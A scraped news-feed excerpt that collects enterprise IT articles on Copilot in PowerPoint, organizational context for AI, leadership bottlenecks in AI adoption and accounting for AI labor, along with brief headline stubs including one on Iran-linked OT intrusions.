<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



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<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Iran-Linked Hackers Exploit Trusted Access and Exposed OT Systems for Espionage and Disruption]]></title>
<description><![CDATA[Iran-linked hackers are quietly building long-term, flexible access into critical networks and exposed operational technology (OT), using trusted pathways to pivot between espionage and selective disruption. Recent reporting on Iran-linked activity shows a consistent pattern, actors focus less on...]]></description>
<link>https://tsecurity.de/de/3686021/it-security-nachrichten/iran-linked-hackers-exploit-trusted-access-and-exposed-ot-systems-for-espionage-and-disruption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686021/it-security-nachrichten/iran-linked-hackers-exploit-trusted-access-and-exposed-ot-systems-for-espionage-and-disruption/</guid>
<pubDate>Wed, 22 Jul 2026 13:00:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Iran-linked hackers are quietly building long-term, flexible access into critical networks and exposed operational technology (OT), using trusted pathways to pivot between espionage and selective disruption. Recent reporting on Iran-linked activity shows a consistent pattern, actors focus less on single, spectacular attacks and more on durable footholds in enterprise and industrial environments. This access is […]</p>
<p>The post <a href="https://cyberpress.org/iran-hackers-target-ot-systems/">Iran-Linked Hackers Exploit Trusted Access and Exposed OT Systems for Espionage and Disruption</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Stop measuring AI usage. Start building AI capability.]]></title>
<description><![CDATA[Organizations are measuring AI adoption faster than employees are learning to use it effectively.]]></description>
<link>https://tsecurity.de/de/3685933/it-nachrichten/stop-measuring-ai-usage-start-building-ai-capability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685933/it-nachrichten/stop-measuring-ai-usage-start-building-ai-capability/</guid>
<pubDate>Wed, 22 Jul 2026 12:18:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Organizations are measuring AI adoption faster than employees are learning to use it effectively.]]></content:encoded>
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<title><![CDATA[Leadership bottlenecks slow AI adoption]]></title>
<description><![CDATA[At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.



But these issues are relatively straightforward compared to th...]]></description>
<link>https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.</p>



<p class="wp-block-paragraph">But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.</p>



<p class="wp-block-paragraph">“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”</p>



<p class="wp-block-paragraph">In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.</p>



<p class="wp-block-paragraph">And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.</p>



<p class="wp-block-paragraph">“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.</p>



<p class="wp-block-paragraph">“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”</p>



<p class="wp-block-paragraph">One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.</p>



<h2 class="wp-block-heading">Testing the AI waters</h2>



<p class="wp-block-paragraph">Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/c-suite-study/ceo">In a survey of 2,000 global CEOs IBM released in May</a>, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.</p>



<p class="wp-block-paragraph">“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.</p>



<p class="wp-block-paragraph">“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”</p>



<p class="wp-block-paragraph">Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.</p>



<p class="wp-block-paragraph">“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”</p>



<p class="wp-block-paragraph">But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.</p>



<p class="wp-block-paragraph">To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.</p>



<p class="wp-block-paragraph">But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.</p>



<h2 class="wp-block-heading">Vision and strategy</h2>



<p class="wp-block-paragraph"><a href="https://www.grantthornton.com/services/advisory-services/artificial-intelligence/2026-ai-impact-survey">In another survey, this time of 950 business leaders released by Grant Thornton</a> in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.</p>



<p class="wp-block-paragraph">“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”</p>



<p class="wp-block-paragraph">When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.</p>



<p class="wp-block-paragraph">“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”</p>



<p class="wp-block-paragraph">In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.</p>



<p class="wp-block-paragraph">“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”</p>



<p class="wp-block-paragraph">Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”</p>



<h2 class="wp-block-heading">Slow decision-making</h2>



<p class="wp-block-paragraph">When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.</p>



<p class="wp-block-paragraph">There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.</p>



<p class="wp-block-paragraph">Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.</p>



<p class="wp-block-paragraph">These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?</p>



<p class="wp-block-paragraph">“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”</p>



<p class="wp-block-paragraph">According to a <a href="https://www.westmonroe.com/insights/why-speed-matters">West Monroe survey</a> of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.</p>



<p class="wp-block-paragraph">And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.</p>



<h2 class="wp-block-heading">Focus on the future, not the past</h2>



<p class="wp-block-paragraph">When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.</p>



<p class="wp-block-paragraph">“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.</p>



<p class="wp-block-paragraph">“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”</p>



<p class="wp-block-paragraph">Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.</p>



<p class="wp-block-paragraph">“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.</p>



<p class="wp-block-paragraph">But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”</p>



<p class="wp-block-paragraph">It’s no secret that companies will need to change in order to adapt to AI. <a href="https://www.deloitte.com/us/en/insights/topics/technology-management/future-of-tech-leadership.html">Deloitte recently surveyed</a> 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.</p>



<p class="wp-block-paragraph">AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Another Deloitte survey</a> showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.</p>
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<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
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<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
